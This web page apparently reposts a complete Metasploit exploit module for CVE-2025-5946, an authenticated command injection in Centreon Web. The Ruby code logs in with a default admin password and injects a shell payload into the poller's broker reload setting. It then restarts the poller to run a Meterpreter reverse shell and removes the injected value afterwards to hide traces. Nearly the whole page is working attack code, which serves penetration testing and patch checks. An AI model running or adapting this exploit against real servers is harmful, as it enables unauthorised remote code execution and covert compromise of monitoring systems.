Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Centreon authenticated command injection leading to RCE via broker engine "reload" parameter',
'Description' => %q{
Centreon is a platform designed to monitor your cloud and on-premises infrastructure.
This module exploits an command injection vulnerability using the `broker engine reload` setting
on the poller configuration page of the Centreon web application. Injecting a malcious payload
at the `broker engine reload` parameter and restarting the poller triggers this vulnerability.
You need have admin access at the Centreon Web application in order to execute this RCE.
This issue affects all Centreon editions >= `19.10.0` and it is fixed in Centreon Web versions
`24.10.13`, `24.04.18` and `23.10.28`.
},
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Discovery, Metasploit module & default password weakness
],
'References' => [
['CVE', '2025-5946'],
['URL', 'https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-5946-centreon-web-all-versions-high-severity-5104'],
['URL', 'https://attackerkb.com/topics/23D4cUoBZj/cve-2025-5946']
],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Privileged' => false,
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
},
'Payload' => {
'Encoder' => 'cmd/base64',
'BadChars' => "\x20\x3E\x26\x27\x22" # no space > & ' "
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-09-24',
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to the Centreon application', '/centreon']),
OptString.new('USERNAME', [true, 'Centreon web admin user', 'admin']),
OptString.new('PASSWORD', [true, 'Centreon web admin password', 'Centreon!123'])
])
end

# login at the Centreon web application
# return true if login successful else false
def centreon_login(name, pwd)
# login with admin credentials
# first try login logic in newer versions
post_data = {
login: name.to_s,
password: pwd.to_s
}.to_json
res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/json',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'authentication', 'providers', 'configurations', 'local'),
'data' => post_data.to_s
})
return true if res&.code == 200 && res.body.include?('redirect_uri')

# try again using login logic for older versions
# get centreon_token
res = send_request_cgi!({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true
})

# find the token: <input name="centreon_token" type="hidden" value="988067bfac1fdbb52566cb06bef5b514" />
if res&.code == 200 && res.body.include?('centreon_token')
centreon_token_match = res.body.match(%r{<input name="centreon_token".*/>})
centreon_token = centreon_token_match[0].split('value="')[1].gsub(%r{".*/>}, '') unless centreon_token_match.nil?
else
vprint_status('No centreon_token found!')
return false
end

# login with admin credentials and centreon_token
if centreon_token
vprint_status("centreon_token=#{centreon_token}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
'vars_post' => {
'useralias' => name.to_s,
'password' => pwd.to_s,
'submitLogin' => 'Connect',
'centreon_token' => centreon_token.to_s
}
})
return true if res&.code == 302
else
vprint_warning('Unable to process the centreon_token.')
end
false
end

# CVE-2025-5946: Command Injection leading to RCE via the centreon broker engine "reload" parameter triggered by a poller reload
def execute_payload(cmd, _opts = {})
@clean_payload = true
payload = ";#{cmd}"
vprint_status("payload=#{payload}")
# attach payload at the centreon broker engine "reload parameter
fail_with(Failure::PayloadFailed, 'Dropping the payload at the target failed.') unless drop_rce_payload(payload)

# trigger execution by restarting the poller
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),
'keep_cookies' => true,
'vars_post' => {
'poller' => 1,
'mode' => 1
}
})
end

# attach payload at the centreon broker engine "reload" parameter and commit into the sql database
def drop_rce_payload(payload)
# get the poller configuration and centreon_token
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
'keep_cookies' => true,
'vars_get' => {
'p' => 60901,
'o' => 'c',
'server_id' => 1
}
})

# find the token: <input name="centreon_token" type="hidden" value="988067bfac1fdbb52566cb06bef5b514" />
if res&.code == 200 && res.body.include?('centreon_token')
centreon_token_match = res.body.match(%r{<input name="centreon_token".*/>})
centreon_token = centreon_token_match[0].split('value="')[1].gsub(%r{".*/>}, '') unless centreon_token_match.nil?
else
vprint_status('No centreon_token found!')
return false
end

# update poller "centreon broker engine reload" setting with payload
if centreon_token
vprint_status("centreon_token=#{centreon_token}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
'keep_cookies' => true,
'vars_get' => {
'p' => 60901
},
'vars_post' => {
'name' => 'Central',
'ns_ip_address' => '127.0.0.1',
'localhost[localhost]' => 1,
'is_default[is_default]' => 1,
'gorgone_communication_type[gorgone_communication_type]' => 1,
'gorgone_port' => 5556,
'engine_start_command' => 'service centengine start',
'engine_stop_command' => 'service centengine stop',
'engine_restart_command' => 'service centengine restart',
'engine_reload_command' => 'service centengine reload',
'nagios_bin' => '/usr/sbin/centengine',
'nagiostats_bin' => '/usr/sbin/centenginestats',
'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',
'broker_reload_command' => "service cbd reload#{payload}",
'centreonbroker_cfg_path' => '/etc/centreon-broker',
'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',
'centreonbroker_logs_path' => nil,
'centreonconnector_path' => '/usr/lib64/centreon-connector',
'init_script_centreontrapd' => 'centreontrapd',
'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',
'ns_activate[ns_activate]' => 1,
'submitC' => 'Save',
'id' => 1,
'o' => 'c',
'centreon_token' => centreon_token.to_s
}
})
if res&.code == 200 && res.body.include?('ajaxOption table')
vprint_good('Poller setting "broker_reload_command" updated with payload.')
return true
end
vprint_warning('Poller setting "broker_reload_command" is not updated with payload.')
else
vprint_warning('Unable to process the centreon_token.')
end
return false
end

# try to remove the payload from the poller settings to cover our tracks
def cleanup
super
# check if payload should be cleaned
if @clean_payload
vprint_status('Cleaning up the mess...')
if drop_rce_payload(nil)
print_good('Payload has been successfully removed from the poller setting "broker_reload_command".')
else
print_warning('Payload not removed. Try to remove it manually from the poller setting "broker_reload_command".')
end
end
end

# get the Centreon version
# return version if successful else nil
def get_centreon_version
# get version information use Web API v2.0
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'platform', 'versions'),
'keep_cookies' => true
})
# for older versions try to scrape the version from the login web page
unless res&.code == 200 && res.body.include?('web')
res = send_request_cgi!({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true
})
return nil unless res&.code == 200

build = res.body.match(/v\.\s*\d+\.\d+\.\d+/)
return nil if build.nil?

return build[0].gsub(/[[:space:]]/, '').split('v.')[1]
end
res_json = res.get_json_document
res_json['web']['version'] unless res_json.blank?
end

def check
version = get_centreon_version
return CheckCode::Unknown('Can not determine the Centreon version.') if version.nil?

case version.scan(/^\d+\.\d+/)[0]
when '24.10'
return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('24.10.13')
when '24.04'
return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('24.04.18')
when '23.10'
return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('23.10.28')
else
return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) >= Rex::Version.new('19.10.0')
end

CheckCode::Safe("Centreon version #{version}")
end

def exploit
# check if we can login at the Centreon Web application with the default admin credentials
username = datastore['USERNAME']
password = datastore['PASSWORD']
print_status("Trying to log in with admin credentials #{username}:#{password} at the Centreon Web application.")
fail_with(Failure::NoAccess, 'Failed to authenticate at the Centreon Web application.') unless centreon_login(username, password)
print_status('Succesfully authenticated at the Centreon Web application.')

# storing credentials at the msf database
print_status('Saving admin credentials at the msf database.')
store_valid_credential(user: username, private: password)

print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
execute_payload(payload.encoded)
end
end

Social Media Share